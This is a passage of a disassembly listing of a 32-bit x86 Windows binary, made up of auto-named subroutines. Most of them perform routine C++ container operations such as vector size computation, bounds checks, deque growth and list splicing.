mov eax, [esi+4]
jmp short loc_405462
; ---------------------------------------------------------------------------
loc_40545F: ; CODE XREF: sub_4053F0+68j
lea eax, [esi+4]
loc_405462: ; CODE XREF: sub_4053F0+6Dj
lea ebx, [eax+edi]
lea edi, [ebp+var_10]
call sub_405E52
pop edi
pop esi
pop ebx
leave
retn
sub_4053F0 endp
; =============== S U B R O U T I N E =======================================
sub_405472 proc near ; CODE XREF: sub_402BCF+D2p
; sub_402BCF+ECp ...
push ebx
push esi
mov esi, ecx
cmp dword ptr [esi+18h], 10h
push edi
mov edi, eax
jb short loc_405484
mov ebx, [esi+4]
jmp short loc_405487
; ---------------------------------------------------------------------------
loc_405484: ; CODE XREF: sub_405472+Bj
lea ebx, [esi+4]
loc_405487: ; CODE XREF: sub_405472+10j
call sub_405E52
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_405472 endp
; =============== S U B R O U T I N E =======================================
sub_405492 proc near ; CODE XREF: sub_402BCF+DFp
; sub_4033DA+249p ...
push ebx
push esi
mov esi, ecx
cmp dword ptr [esi+18h], 10h
push edi
mov edi, eax
jb short loc_4054A4
mov eax, [esi+4]
jmp short loc_4054A7
; ---------------------------------------------------------------------------
loc_4054A4: ; CODE XREF: sub_405492+Bj
lea eax, [esi+4]
loc_4054A7: ; CODE XREF: sub_405492+10j
mov ebx, [esi+14h]
add ebx, eax
call sub_405E52
mov eax, edi
pop edi
pop esi
pop ebx
retn
sub_405492 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4054B7 proc near ; CODE XREF: sub_402E64+3Dp
var_4 = byte ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [edi+14h]
cmp eax, 1
push ebx
push esi
mov [ebp+var_4], 2Eh
jb short loc_40551E
dec eax
cmp [ebp+arg_0], eax
jnb short loc_4054D2
mov eax, [ebp+arg_0]
loc_4054D2: ; CODE XREF: sub_4054B7+16j
cmp dword ptr [edi+18h], 10h
lea esi, [edi+4]
jb short loc_4054DF
mov ebx, [esi]
jmp short loc_4054E1
; ---------------------------------------------------------------------------
loc_4054DF: ; CODE XREF: sub_4054B7+22j
mov ebx, esi
loc_4054E1: ; CODE XREF: sub_4054B7+26j
add ebx, eax
loc_4054E3: ; CODE XREF: sub_4054B7+57j
mov al, [ebp+var_4]
cmp [ebx], al
jnz short loc_4054FD
push 1
lea eax, [ebp+var_4]
push eax
push ebx
call sub_40DED2
add esp, 0Ch
test eax, eax
jz short loc_405510
loc_4054FD: ; CODE XREF: sub_4054B7+31j
cmp dword ptr [edi+18h], 10h
jb short loc_405507
mov eax, [esi]
jmp short loc_405509
; ---------------------------------------------------------------------------
loc_405507: ; CODE XREF: sub_4054B7+4Aj
mov eax, esi
loc_405509: ; CODE XREF: sub_4054B7+4Ej
cmp ebx, eax
jz short loc_40551E
dec ebx
jmp short loc_4054E3
; ---------------------------------------------------------------------------
loc_405510: ; CODE XREF: sub_4054B7+44j
cmp dword ptr [edi+18h], 10h
jb short loc_405518
mov esi, [esi]
loc_405518: ; CODE XREF: sub_4054B7+5Dj
sub ebx, esi
mov eax, ebx
jmp short loc_405521
; ---------------------------------------------------------------------------
loc_40551E: ; CODE XREF: sub_4054B7+10j
; sub_4054B7+54j
or eax, 0FFFFFFFFh
loc_405521: ; CODE XREF: sub_4054B7+65j
pop esi
pop ebx
leave
retn 4
sub_4054B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405527 proc near ; CODE XREF: sub_402E64+86p
; sub_402E64+D8p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
and [ebp+var_4], 0
push 0
mov ecx, esi
mov dword ptr [esi+18h], 0Fh
call sub_401564
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_401315
mov eax, esi
leave
retn 0Ch
sub_405527 endp
; =============== S U B R O U T I N E =======================================
sub_405555 proc near ; CODE XREF: sub_403151+171p
; sub_4072C2+1Ap ...
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_40555F
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_40555F: ; CODE XREF: sub_405555+5j
mov eax, [eax+8]
sub eax, ecx
push 5Ch
cdq
pop ecx
idiv ecx
retn
sub_405555 endp
; =============== S U B R O U T I N E =======================================
sub_40556B proc near ; CODE XREF: sub_4027E7+FAp
; sub_40B49B+198p ...
cmp dword ptr [esi], 0
jnz short loc_405575
call sub_40DCFC
loc_405575: ; CODE XREF: sub_40556B+3j
mov eax, [esi]
mov ecx, [esi+4]
cmp ecx, [eax+8]
jb short loc_405584
call sub_40DCFC
loc_405584: ; CODE XREF: sub_40556B+12j
add dword ptr [esi+4], 5Ch
mov eax, esi
retn
sub_40556B endp
; =============== S U B R O U T I N E =======================================
sub_40558B proc near ; CODE XREF: sub_40260A+80p
; sub_40260A+8Bp ...
push esi
mov esi, eax
call sub_4055A2
push dword ptr [esi+4]
call sub_40DD8A
and dword ptr [esi+4], 0
pop ecx
pop esi
retn
sub_40558B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4055A2 proc near ; CODE XREF: sub_403151+AFp
; sub_405089+22Fp ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
mov eax, [esi+4]
push ebx
mov ebx, [eax]
mov [eax], eax
mov eax, [esi+4]
mov [eax+4], eax
and dword ptr [esi+8], 0
cmp ebx, [esi+4]
jz short loc_4055E7
push edi
loc_4055BE: ; CODE XREF: sub_4055A2+42j
mov eax, [ebx]
lea edi, [ebx+24h]
mov [ebp+var_4], eax
call sub_406C09
push 0
push 1
lea ecx, [ebx+8]
call sub_4013C4
push ebx
call sub_40DD8A
mov ebx, [ebp+var_4]
cmp ebx, [esi+4]
pop ecx
jnz short loc_4055BE
pop edi
loc_4055E7: ; CODE XREF: sub_4055A2+19j
pop ebx
leave
retn
sub_4055A2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4055EA proc near ; CODE XREF: sub_40290F+58p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
mov eax, [ebp+arg_C]
sub esp, 0Ch
test eax, eax
push ebx
push esi
jz short loc_4055FE
cmp eax, [ebp+arg_14]
jz short loc_405603
loc_4055FE: ; CODE XREF: sub_4055EA+Dj
call sub_40DCFC
loc_405603: ; CODE XREF: sub_4055EA+12j
mov eax, [ebp+arg_10]
cmp eax, [ebp+arg_18]
jz short loc_405681
cmp [ebp+arg_0], edi
jnz short loc_405629
mov eax, [ebp+arg_4]
test eax, eax
jz short loc_40561C
cmp eax, [ebp+arg_14]
jz short loc_405621
loc_40561C: ; CODE XREF: sub_4055EA+2Bj
call sub_40DCFC
loc_405621: ; CODE XREF: sub_4055EA+30j
mov eax, [ebp+arg_8]
cmp eax, [ebp+arg_18]
jz short loc_405681
loc_405629: ; CODE XREF: sub_4055EA+24j
xor ebx, ebx
cmp [ebp+arg_0], edi
jz short loc_405663
cmp [ebp+arg_C], ebx
mov eax, [edi+4]
mov esi, [eax]
jz short loc_40563F
cmp [ebp+arg_C], edi
jz short loc_405644
loc_40563F: ; CODE XREF: sub_4055EA+4Ej
call sub_40DCFC
loc_405644: ; CODE XREF: sub_4055EA+53j
cmp [ebp+arg_10], esi
jnz short loc_405687
cmp [ebp+arg_14], ebx
mov esi, [edi+4]
jz short loc_405656
cmp [ebp+arg_14], edi
jz short loc_40565B
loc_405656: ; CODE XREF: sub_4055EA+65j
call sub_40DCFC
loc_40565B: ; CODE XREF: sub_4055EA+6Aj
cmp [ebp+arg_18], esi
jnz short loc_405687
mov ebx, [edi+8]
loc_405663: ; CODE XREF: sub_4055EA+44j
; sub_4055EA+C0j
push [ebp+arg_18]
mov ecx, [ebp+arg_0]
push [ebp+arg_14]
mov eax, ebx
push [ebp+arg_10]
mov edx, edi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
call sub_405A06
loc_405681: ; CODE XREF: sub_4055EA+1Fj
; sub_4055EA+3Dj
pop esi
pop ebx
leave
retn 1Ch
; ---------------------------------------------------------------------------
loc_405687: ; CODE XREF: sub_4055EA+5Dj
; sub_4055EA+74j
mov eax, [ebp+arg_C]
mov [ebp+var_C], eax
mov eax, [ebp+arg_10]
mov [ebp+var_8], eax
loc_405693: ; CODE XREF: sub_4055EA+CBj
mov eax, [ebp+var_C]
test eax, eax
jz short loc_40569F
cmp eax, [ebp+arg_14]
jz short loc_4056A4
loc_40569F: ; CODE XREF: sub_4055EA+AEj
call sub_40DCFC
loc_4056A4: ; CODE XREF: sub_4055EA+B3j
mov eax, [ebp+var_8]
cmp eax, [ebp+arg_18]
jz short loc_405663
lea esi, [ebp+var_C]
inc ebx
call sub_405D8F
jmp short loc_405693
sub_4055EA endp
; ---------------------------------------------------------------------------
loc_4056B7: ; CODE XREF: .vty:0041B0A9j
; .vty:0041B183j ...
jmp sub_405AAC
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4056BC proc near ; CODE XREF: .vty:00403989p
; sub_4076E5+13p ...
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ecx
push esi
mov esi, eax
cmp esi, ebx
push edi
jz loc_4057B0
mov eax, ebx
call sub_4057B6
test eax, eax
jnz short loc_4056E2
call sub_4057CC
jmp loc_4057B0
; ---------------------------------------------------------------------------
loc_4056E2: ; CODE XREF: sub_4056BC+1Aj
mov eax, ebx
call sub_4057B6
mov edi, eax
mov eax, esi
call sub_4057B6
cmp edi, eax
ja short loc_40571F
push dword ptr [ebx+8]
mov eax, [esi+4]
mov ecx, [ebx+4]
call sub_406A8F
pop ecx
push dword ptr [esi+8]
call sub_405A8F
mov eax, ebx
call sub_4057B6
imul eax, 1Ch
add eax, [esi+4]
jmp loc_4057AD
; ---------------------------------------------------------------------------
loc_40571F: ; CODE XREF: sub_4056BC+38j
mov edi, [esi+4]
test edi, edi
jnz short loc_40572B
and [ebp+var_4], edi
jmp short loc_405739
; ---------------------------------------------------------------------------
loc_40572B: ; CODE XREF: sub_4056BC+68j
mov eax, [esi+0Ch]
sub eax, edi
push 1Ch
cdq
pop ecx
idiv ecx
mov [ebp+var_4], eax
loc_405739: ; CODE XREF: sub_4056BC+6Dj
mov eax, ebx
call sub_4057B6
cmp eax, [ebp+var_4]
ja short loc_405767
mov eax, esi
call sub_4057B6
mov ecx, [ebx+4]
mov edi, eax
mov eax, [esi+4]
imul edi, 1Ch
add edi, ecx
push edi
call sub_406A8F
pop ecx
push dword ptr [esi+8]
mov ecx, edi
jmp short loc_4057A5
; ---------------------------------------------------------------------------
loc_405767: ; CODE XREF: sub_4056BC+87j
test edi, edi
jz short loc_40577E
push dword ptr [esi+8]
mov eax, edi
call sub_405A8F
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
loc_40577E: ; CODE XREF: sub_4056BC+ADj
mov eax, ebx
call sub_4057B6
xor ecx, ecx
cmp eax, ecx
mov [esi+4], ecx
mov [esi+8], ecx
mov [esi+0Ch], ecx
jz short loc_4057B0
mov edi, esi
call sub_405A66
test al, al
jz short loc_4057B0
push dword ptr [esi+4]
mov ecx, [ebx+4]
loc_4057A5: ; CODE XREF: sub_4056BC+A9j
push dword ptr [ebx+8]
call sub_406ACD
loc_4057AD: ; CODE XREF: sub_4056BC+5Ej
mov [esi+8], eax
loc_4057B0: ; CODE XREF: sub_4056BC+Bj
; sub_4056BC+21j ...
pop edi
mov eax, esi
pop esi
leave
retn
sub_4056BC endp
; =============== S U B R O U T I N E =======================================
sub_4057B6 proc near ; CODE XREF: sub_402979+5Bp
; sub_402979+66p ...
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_4057C0
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4057C0: ; CODE XREF: sub_4057B6+5j
mov eax, [eax+8]
sub eax, ecx
push 1Ch
cdq
pop ecx
idiv ecx
retn
sub_4057B6 endp
; =============== S U B R O U T I N E =======================================
sub_4057CC proc near ; CODE XREF: .vty:004053C5p
; sub_4056BC+1Cp
push ebx
mov ebx, [esi+8]
cmp [esi+4], ebx
push edi
jbe short loc_4057DB
call sub_40DCFC
loc_4057DB: ; CODE XREF: sub_4057CC+8j
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_4057E8
call sub_40DCFC
loc_4057E8: ; CODE XREF: sub_4057CC+15j
cmp edi, ebx
jz short loc_405806
push dword ptr [esi+8]
mov eax, edi
mov ecx, ebx
call sub_406A8F
pop ecx
push dword ptr [esi+8]
mov edi, eax
call sub_405A8F
mov [esi+8], edi
loc_405806: ; CODE XREF: sub_4057CC+1Ej
pop edi
pop ebx
retn
sub_4057CC endp
; =============== S U B R O U T I N E =======================================
sub_405809 proc near ; CODE XREF: sub_40260A+93p
; .vty:0041B081j
push edi
mov edi, [esi+4]
test edi, edi
jz short loc_40582D
push ebx
mov ebx, [esi+8]
jmp short loc_40581F
; ---------------------------------------------------------------------------
loc_405817: ; CODE XREF: sub_405809+18j
call sub_405989
add edi, 74h
loc_40581F: ; CODE XREF: sub_405809+Cj
cmp edi, ebx
jnz short loc_405817
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
pop ebx
loc_40582D: ; CODE XREF: sub_405809+6j
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
pop edi
retn
sub_405809 endp
; =============== S U B R O U T I N E =======================================
sub_40583B proc near ; CODE XREF: sub_4033DA+2AEp
mov eax, offset loc_41B5FB
call sub_41AE44
push ecx
push esi
push edi
sub esp, 74h
mov edi, esp
xor eax, eax
mov [ebp-10h], esp
mov [ebp-10h], edi
mov [edi+4], eax
mov [edi+8], eax
mov [edi+0Ch], eax
mov [ebp-4], eax
mov [edi+14h], eax
mov [edi+18h], eax
mov [edi+1Ch], eax
lea esi, [edi+20h]
call sub_4012E2
push offset a0_0_0_0 ; "0.0.0.0"
lea ecx, [edi+3Ch]
mov byte ptr [ebp-4], 2
call sub_401C44
lea esi, [edi+58h]
call sub_4012E2
mov ecx, [ebp+0Ch]
mov edx, [ebp+8]
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_405ADB
mov ecx, [ebp-0Ch]
pop edi
mov large fs:0, ecx
pop esi
leave
retn 8
sub_40583B endp
; =============== S U B R O U T I N E =======================================
sub_4058AA proc near ; CODE XREF: sub_402979+A6p
; sub_402979+C6p ...
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_4058B4
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4058B4: ; CODE XREF: sub_4058AA+5j
mov eax, [eax+8]
sub eax, ecx
push 74h
cdq
pop ecx
idiv ecx
retn
sub_4058AA endp
; =============== S U B R O U T I N E =======================================
sub_4058C0 proc near ; CODE XREF: sub_402979+D7p
; sub_4033DA+2F8p ...
arg_0 = dword ptr 4
mov eax, esi
call sub_4058AA
cmp [esp+arg_0], eax
jb short loc_4058D2
call sub_40DCFC
loc_4058D2: ; CODE XREF: sub_4058C0+Bj
mov eax, [esp+arg_0]
imul eax, 74h
add eax, [esi+4]
retn 4
sub_4058C0 endp
; =============== S U B R O U T I N E =======================================
sub_4058DF proc near ; CODE XREF: sub_4033DA+90p
; sub_4033DA+F4p ...
mov ecx, [eax+4]
test ecx, ecx
jnz short loc_4058E9
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_4058E9: ; CODE XREF: sub_4058DF+5j
mov eax, [eax+8]
sub eax, ecx
sar eax, 2
retn
sub_4058DF endp
; =============== S U B R O U T I N E =======================================
sub_4058F2 proc near ; CODE XREF: sub_402AA0+E6p
; sub_403151+215p
arg_0 = dword ptr 4
push ecx
push ebx
push esi
mov esi, eax
mov eax, [esi+10h]
mov ecx, [esi+0Ch]
add ecx, eax
test cl, 3
push edi
jnz short loc_405915
add eax, 4
shr eax, 2
cmp [esi+8], eax
ja short loc_405915
call sub_405C5B
loc_405915: ; CODE XREF: sub_4058F2+11j
; sub_4058F2+1Cj
mov edi, [esi+0Ch]
add edi, [esi+10h]
mov ecx, [esi+8]
mov eax, edi
shr eax, 2
cmp ecx, eax
ja short loc_405929
sub eax, ecx
loc_405929: ; CODE XREF: sub_4058F2+33j
mov ebx, eax
mov eax, [esi+4]
shl ebx, 2
cmp dword ptr [ebx+eax], 0
jnz short loc_405945
push 10h
call sub_40DE68
pop ecx
mov ecx, [esi+4]
mov [ebx+ecx], eax
loc_405945: ; CODE XREF: sub_4058F2+43j
mov eax, [esi+4]
mov eax, [eax+ebx]
and edi, 3
lea edi, [eax+edi*4]
test edi, edi
jz short loc_40595D
mov eax, [esp+10h+arg_0]
mov eax, [eax]
mov [edi], eax
loc_40595D: ; CODE XREF: sub_4058F2+61j
inc dword ptr [esi+10h]
pop edi
pop esi
pop ebx
pop ecx
retn 4
sub_4058F2 endp
; =============== S U B R O U T I N E =======================================
sub_405967 proc near ; CODE XREF: sub_403151+F1p
; sub_407454+97p ...
cmp dword ptr [esi], 0
jnz short loc_405971
call sub_40DCFC
loc_405971: ; CODE XREF: sub_405967+3j
mov eax, [esi+4]
mov eax, [eax+4]
mov ecx, [esi]
mov [esi+4], eax
cmp eax, [ecx+4]
jnz short loc_405986
call sub_40DCFC
loc_405986: ; CODE XREF: sub_405967+18j
mov eax, esi
retn
sub_405967 endp
; =============== S U B R O U T I N E =======================================
sub_405989 proc near ; CODE XREF: sub_405809:loc_405817p
; sub_405ADB+8Fp ...
push esi
xor esi, esi
push esi
push 1
lea ecx, [edi+58h]
call sub_4013C4
push esi
push 1
lea ecx, [edi+3Ch]
call sub_4013C4
push esi
push 1
lea ecx, [edi+20h]
call sub_4013C4
lea esi, [edi+10h]
call sub_405F8B
mov esi, edi
call sub_405F66
pop esi
retn
sub_405989 endp
; =============== S U B R O U T I N E =======================================
sub_4059BE proc near ; CODE XREF: sub_402F64+CAp
; sub_406A6D+16p ...
arg_0 = dword ptr 4
push esi
mov esi, ecx
mov ecx, [eax+14h]
cmp ecx, esi
jnb short loc_4059CA
mov esi, ecx
loc_4059CA: ; CODE XREF: sub_4059BE+8j
cmp esi, edi
mov ecx, esi
jb short loc_4059D2
mov ecx, edi
loc_4059D2: ; CODE XREF: sub_4059BE+10j
cmp dword ptr [eax+18h], 10h
jb short loc_4059DD
mov eax, [eax+4]
jmp short loc_4059E0
; ---------------------------------------------------------------------------
loc_4059DD: ; CODE XREF: sub_4059BE+18j
add eax, 4
loc_4059E0: ; CODE XREF: sub_4059BE+1Dj
push ecx
push [esp+8+arg_0]
push eax
call sub_40DED2
add esp, 0Ch
test eax, eax
jnz short loc_405A02
cmp esi, edi
jnb short loc_4059FB
or eax, 0FFFFFFFFh
jmp short loc_405A02
; ---------------------------------------------------------------------------
loc_4059FB: ; CODE XREF: sub_4059BE+36j
xor eax, eax
cmp esi, edi
setnz al
loc_405A02: ; CODE XREF: sub_4059BE+32j
; sub_4059BE+3Bj
pop esi
retn 4
sub_4059BE endp
; =============== S U B R O U T I N E =======================================
sub_405A06 proc near ; CODE XREF: sub_403151+113p
; sub_4055EA+92p
arg_4 = dword ptr 8
arg_C = dword ptr 10h
arg_14 = dword ptr 18h
push ecx
push esi
mov esi, edx
cmp ecx, esi
push edi
mov edi, eax
jz short loc_405A1B
mov edx, edi
call sub_405EBC
sub [esi+8], edi
loc_405A1B: ; CODE XREF: sub_405A06+9j
mov eax, [esp+0Ch+arg_C]
mov edx, [eax+4]
mov ecx, [esp+0Ch+arg_14]
mov [edx], ecx
mov esi, [ecx+4]
mov edx, [esp+0Ch+arg_4]
mov [esi], edx
mov esi, [edx+4]
mov [esi], eax
mov esi, [edx+4]
mov edi, [ecx+4]
mov [edx+4], edi
mov edx, [eax+4]
mov [ecx+4], edx
pop edi
mov [eax+4], esi
pop esi
pop ecx
retn 18h
sub_405A06 endp
; =============== S U B R O U T I N E =======================================
sub_405A4E proc near ; CODE XREF: sub_402509+4Fp
; sub_402509+64p ...
push 40h
call sub_40DE68
test eax, eax
pop ecx
jz short loc_405A5C
mov [eax], eax
loc_405A5C: ; CODE XREF: sub_405A4E+Aj
lea ecx, [eax+4]
test ecx, ecx
jz short locret_405A65
mov [ecx], eax
locret_405A65: ; CODE XREF: sub_405A4E+13j
retn
sub_405A4E endp
; =============== S U B R O U T I N E =======================================
sub_405A66 proc near ; CODE XREF: sub_4056BC+DAp
; sub_4075BC+30p
push esi
mov esi, eax
cmp esi, 9249249h
jbe short loc_405A76
jmp sub_40684D
; ---------------------------------------------------------------------------
loc_405A76: ; CODE XREF: sub_405A66+9j
mov ecx, esi
call sub_405F1C
imul esi, 1Ch
add esi, eax
mov [edi+4], eax
mov [edi+8], eax
mov [edi+0Ch], esi
mov al, 1
pop esi
retn
sub_405A66 endp
; =============== S U B R O U T I N E =======================================
sub_405A8F proc near ; CODE XREF: sub_4056BC+4Cp
; sub_4056BC+B4p ...
arg_0 = dword ptr 4
push esi
mov esi, eax
jmp short loc_405AA2
; ---------------------------------------------------------------------------
loc_405A94: ; CODE XREF: sub_405A8F+17j
push 0
push 1
mov ecx, esi
call sub_4013C4
add esi, 1Ch
loc_405AA2: ; CODE XREF: sub_405A8F+3j
cmp esi, [esp+4+arg_0]
jnz short loc_405A94
pop esi
retn 4
sub_405A8F endp
; =============== S U B R O U T I N E =======================================
sub_405AAC proc near ; CODE XREF: sub_40260A+75p
; sub_4033DA+57p ...
mov eax, [esi+4]
test eax, eax
jz short loc_405AC4
push dword ptr [esi+8]
call sub_405A8F
push dword ptr [esi+4]
call sub_40DD8A
pop ecx
loc_405AC4: ; CODE XREF: sub_405AAC+5j
and dword ptr [esi+4], 0
and dword ptr [esi+8], 0
and dword ptr [esi+0Ch], 0
retn
sub_405AAC endp
; ---------------------------------------------------------------------------
loc_405AD1: ; CODE XREF: .vty:0041B228j
; .vty:0041B5E0j
jmp sub_405F66
; ---------------------------------------------------------------------------
loc_405AD6: ; CODE XREF: .vty:0041B233j
; .vty:0041B5EBj
jmp sub_405F8B
; =============== S U B R O U T I N E =======================================
sub_405ADB proc near ; CODE XREF: sub_40583B+5Ap
mov eax, offset loc_41B5D3
call sub_41AE44
sub esp, 0Ch
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
and dword ptr [ebp-4], 0
mov eax, esi
call sub_4058AA
cmp edi, eax
jbe short loc_405B22
mov ebx, [esi+8]
cmp [esi+4], ebx
jbe short loc_405B0B
call sub_40DCFC
loc_405B0B: ; CODE XREF: sub_405ADB+29j
push ebx
push esi
mov eax, esi
call sub_4058AA
sub edi, eax
push edi
push esi
lea ecx, [ebp+8]
call sub_405FB0
jmp short loc_405B67
; ---------------------------------------------------------------------------
loc_405B22: ; CODE XREF: sub_405ADB+21j
jnb short loc_405B67
mov eax, [esi+8]
cmp [esi+4], eax
mov [ebp-10h], eax
jbe short loc_405B34
call sub_40DCFC
loc_405B34: ; CODE XREF: sub_405ADB+52j
mov ebx, [esi+4]
cmp ebx, [esi+8]
jbe short loc_405B41
call sub_40DCFC
loc_405B41: ; CODE XREF: sub_405ADB+5Fj
imul edi, 74h
add edi, ebx
cmp edi, [esi+8]
mov [ebp-14h], ebx
ja short loc_405B53
cmp edi, [esi+4]
jnb short loc_405B58
loc_405B53: ; CODE XREF: sub_405ADB+71j
call sub_40DCFC
loc_405B58: ; CODE XREF: sub_405ADB+76j
push dword ptr [ebp-10h]
lea eax, [ebp-18h]
push esi
push edi
push esi
push eax
call sub_405B80
loc_405B67: ; CODE XREF: sub_405ADB+45j
; sub_405ADB:loc_405B22j
lea edi, [ebp+8]
call sub_405989
mov ecx, [ebp-0Ch]
pop edi
pop esi
mov large fs:0, ecx
pop ebx
leave
retn 74h
sub_405ADB endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405B80 proc near ; CODE XREF: .vty:004053A4p
; sub_405ADB+87p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
push ecx
push ebx
push edi
mov edi, [ebp+arg_4]
test edi, edi
jz short loc_405B92
cmp edi, [ebp+arg_C]
jz short loc_405B97
loc_405B92: ; CODE XREF: sub_405B80+Bj
call sub_40DCFC
loc_405B97: ; CODE XREF: sub_405B80+10j
mov eax, [ebp+arg_10]
cmp [ebp+arg_8], eax
jz short loc_405BCB
push [ebp+arg_8]
push dword ptr [esi+8]
call sub_406AF1
mov ebx, [esi+8]
pop ecx
mov edi, eax
pop ecx
mov [ebp+arg_10], edi
jmp short loc_405BBE
; ---------------------------------------------------------------------------
loc_405BB6: ; CODE XREF: sub_405B80+40j
call sub_405989
add edi, 74h
loc_405BBE: ; CODE XREF: sub_405B80+34j
cmp edi, ebx
jnz short loc_405BB6
mov eax, [ebp+arg_10]
mov edi, [ebp+arg_4]
mov [esi+8], eax
loc_405BCB: ; CODE XREF: sub_405B80+1Dj
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_8]
mov [eax], edi
pop edi
mov [eax+4], ecx
pop ebx
pop ecx
pop ebp
retn 14h
sub_405B80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405BDD proc near ; CODE XREF: sub_4033DA+13Ep
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov esi, eax
call sub_4058DF
test eax, eax
jnz short loc_405BF3
xor ebx, ebx
jmp short loc_405C18
; ---------------------------------------------------------------------------
loc_405BF3: ; CODE XREF: sub_405BDD+10j
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_405C00
call sub_40DCFC
loc_405C00: ; CODE XREF: sub_405BDD+1Cj
cmp [ebp+arg_8], 0
jz short loc_405C0B
cmp [ebp+arg_8], esi
jz short loc_405C10
loc_405C0B: ; CODE XREF: sub_405BDD+27j
call sub_40DCFC
loc_405C10: ; CODE XREF: sub_405BDD+2Cj
mov ebx, [ebp+arg_C]
sub ebx, edi
sar ebx, 2
loc_405C18: ; CODE XREF: sub_405BDD+14j
push [ebp+arg_C]
mov eax, [ebp+arg_4]
push [ebp+arg_8]
mov ecx, esi
call sub_406253
mov edi, [esi+4]
cmp edi, [esi+8]
jbe short loc_405C35
call sub_40DCFC
loc_405C35: ; CODE XREF: sub_405BDD+51j
mov [ebp+arg_8], esi
push ebx
lea esi, [ebp+arg_8]
mov [ebp+arg_C], edi
call sub_4068D9
mov edx, [eax]
mov ecx, [ebp+arg_0]
mov eax, [eax+4]
pop edi
pop esi
mov [ecx+4], eax
mov [ecx], edx
mov eax, ecx
pop ebx
pop ecx
pop ebp
retn 10h
sub_405BDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_405C5B proc near ; CODE XREF: sub_4058F2+1Ep
var_54 = dword ptr -54h
var_2C = byte ptr -2Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 004063C2 SIZE 00000040 BYTES
push ebp
mov ebp, esp
sub esp, 10h
mov eax, [esi+8]
push ebx
push edi
mov edx, 0FFFFFFFh
xor edi, edi
mov ecx, edx
inc edi
sub ecx, eax
cmp ecx, edi
mov [ebp+var_4], edi
jnb short loc_405C7E
jmp loc_4063C2
; ---------------------------------------------------------------------------
loc_405C7E: ; CODE XREF: sub_405C5B+1Cj
mov ecx, eax
shr ecx, 1
cmp ecx, 8
jnb short loc_405C8A
push 8
pop ecx
loc_405C8A: ; CODE XREF: sub_405C5B+2Aj
cmp ecx, edi
jbe short loc_405C97
sub edx, ecx
cmp eax, edx
ja short loc_405C97
mov [ebp+var_4], ecx
loc_405C97: ; CODE XREF: sub_405C5B+31j
; sub_405C5B+37j
mov ebx, [esi+0Ch]
mov ecx, [ebp+var_4]
add ecx, eax
shr ebx, 2
call sub_40688D
mov edx, [esi+4]
mov edi, ebx
shl edi, 2
mov [ebp+var_8], eax
lea ecx, [edi+eax]
mov eax, [esi+8]
lea eax, [edx+eax*4]
add edx, edi
push edx
call sub_406B39
mov edx, [esi+4]
pop ecx
mov ecx, eax
mov eax, [ebp+var_4]
cmp ebx, eax
push edx
ja short loc_405CF7
sub eax, ebx
mov [ebp+var_C], eax
lea eax, [edx+edi]
call sub_406B39
pop ecx
mov ecx, [ebp+var_C]
test ecx, ecx
mov edi, eax
jbe short loc_405CEC
xor eax, eax
rep stosd
loc_405CEC: ; CODE XREF: sub_405C5B+8Bj
test ebx, ebx
jbe short loc_405D24
mov edi, [ebp+var_8]
mov ecx, ebx
jmp short loc_405D20
; ---------------------------------------------------------------------------
loc_405CF7: ; CODE XREF: sub_405C5B+74j
mov ebx, eax
shl ebx, 2
lea eax, [ebx+edx]
call sub_406B39
pop ecx
mov ecx, [esi+4]
add ebx, ecx
lea eax, [ecx+edi]
mov ecx, [ebp+var_8]
push ebx
call sub_406B39
pop ecx
mov ecx, [ebp+var_4]
test ecx, ecx
mov edi, eax
jbe short loc_405D24
loc_405D20: ; CODE XREF: sub_405C5B+9Aj
xor eax, eax
rep stosd
loc_405D24: ; CODE XREF: sub_405C5B+93j
; sub_405C5B+C3j
mov eax, [esi+4]
test eax, eax
jz short loc_405D32
push eax
call sub_40DD8A
pop ecx
loc_405D32: ; CODE XREF: sub_405C5B+CEj
mov eax, [ebp+var_8]
mov [esi+4], eax
mov eax, [ebp+var_4]
add [esi+8], eax
pop edi
pop ebx
leave
retn
